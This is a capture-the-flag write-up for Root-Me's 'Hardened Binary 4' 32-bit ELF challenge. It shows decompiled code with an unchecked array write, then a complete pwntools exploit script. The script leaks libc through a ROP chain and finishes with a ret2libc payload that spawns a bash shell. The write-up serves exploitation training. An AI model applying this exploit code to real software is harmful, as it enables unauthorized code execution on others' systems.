Part of this article is encrypted with password:
Introduction#
Today I will show how I solved the “Hardened Binary 4” challenge from the Rootme CTF platform. This challenge is a 32-bit ELF binary with the following protections enabled:
$ checksec ch24
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Decompiling main, we see that a block of memory is allocated with a size of 0x1000 (4096 bytes) and then initialized with zeros. The purpose of this buffer is to store data read from a file provided as an argument to the program:
undefined4 main(int argc,undefined4 *argv)
{
FILE *__stream;
char *pcVar1;
int in_GS_OFFSET;
longlong b;
longlong a;
undefined buf [4096];
char local_28 [20];
int check_canary;
check_canary = *(int *)(in_GS_OFFSET + 0x14);
if (argc < 2) {
printf("\t Usage:%s <file>\n",(char *)*argv);
}
else {
memset(buf,0,0x1000);
__stream = fopen((char *)argv[1],"r");
if (__stream != (FILE *)0x0) {
while (pcVar1 = fgets(local_28,0x14,__stream), pcVar1 != (char *)0x0) {
b = atoll(local_28);
fgets(local_28,0x14,__stream);
a = atoll(local_28);
if (((int)b != 0) && ((int)a != 0)) {
insert((int)a,(int)b,(int)buf);
}
}
}
}
if (check_canary == *(int *)(in_GS_OFFSET + 0x14)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The program loops through the provided file content. Inside this loop, it repeatedly reads two numbers from the file using fgets and then converts them into integers using atoll. Afterwards, it proceeds to invoke insert, which takes both numbers as an argument:
void insert(int a,int b,int buf)
{
int iVar1;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
*(undefined4 *)(a * 4 + buf) = b;
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
As one can see, this function implements buf[a] = b, but without any offset checks, giving us arbitrary write. This allows us to overwrite the return address on the stack, without modifcation of the canary.
Exploitation Idea#
We can do the exploit in 2 phases. Firstly, we will create a pipe /dev/shm/d which we will write twice. In the first write, we will leak the libc base and return back to main. Having a leak, we write a ret2libc payload to it. This is the final script I came up with:
#!/usr/bin/env python3
from pwn import *
import threading
debug = args.D
elf = ELF("./ch24")
context.binary = elf
context.log_level = "debug"
filepath = "/dev/shm/d"
pop2_ret = 0x08048502
pop3_ret = 0x08048736
fmstr_addr = 0x804A000
ret2main = elf.symbols["main"]
def genfile():
arr = []
def memset(addr, value):
for i in range(len(value)):
arr.append(elf.plt["memset"])
arr.append(pop3_ret)
arr.append(addr + i)
arr.append(ord(value[i]))
arr.append(1)
def memset_int(addr, value):
for i in range(4):
arr.append(elf.plt["memset"])
arr.append(pop3_ret)
arr.append(addr + i)
arr.append((value >> (i * 8)) & 0xFF)
arr.append(1)
memset(fmstr_addr, "Leak: %s\n")
memset(fmstr_addr + 10, filepath)
memset(fmstr_addr + 50, "r")
memset_int(0x804A036, fmstr_addr + 10)
arr.append(elf.plt["printf"])
arr.append(pop2_ret)
arr.append(fmstr_addr)
arr.append(elf.got["printf"])
arr.append(ret2main)
arr.append(pop2_ret)
arr.append(fmstr_addr + 10)
arr.append(fmstr_addr + 50)
log.info(f"Generating file {filepath}")
file_content = b""
def write(offset, data):
lj = 19
return f"{data}".ljust(lj).encode() + str(1033 + offset).ljust(lj).encode()
for i, b in enumerate(arr):
file_content += write(i, b)
def write_pipe():
open(filepath, "wb").write(file_content)
threading.Thread(target=write_pipe).start()
def genfile_libc(libc_base):
arr = []
def memset(addr, value):
for i in range(len(value)):
arr.append(elf.plt["memset"])
arr.append(pop3_ret)
arr.append(addr + i)
arr.append(ord(value[i]))
arr.append(1)
arr.append(0xDEADBEEF)
memset(fmstr_addr + 60, "/usr/bin/bash")
arr.append(libc_base + 0xDE920)
arr.append(0xDEADBEEF)
arr.append(fmstr_addr + 60)
log.info(f"Generating libc file {filepath}")
file_content = b""
def write(offset, data):
lj = 19
return f"{data}".ljust(lj).encode() + str(1033 + offset).ljust(lj).encode()
for i, b in enumerate(arr):
file_content += write(i, b)
def write_pipe():
open(filepath, "wb").write(file_content)
log.info("Written libc file")
threading.Thread(target=write_pipe).start()
def conn():
genfile()
argv = [elf.path, filepath]
if debug:
r = gdb.debug(
argv,
gdbscript=open("gdb.txt", "r").read(),
)
else:
r = process(argv)
return r
r = conn()
printf_leak = u32(r.recvline()[6:10])
log.success(f"Leak: {hex(printf_leak)}")
libc_base = printf_leak - elf.libc.symbols["printf"]
log.success(f"Libc base: {hex(libc_base)}")
if debug:
input("Enter key to continue")
genfile_libc(libc_base)
r.interactive()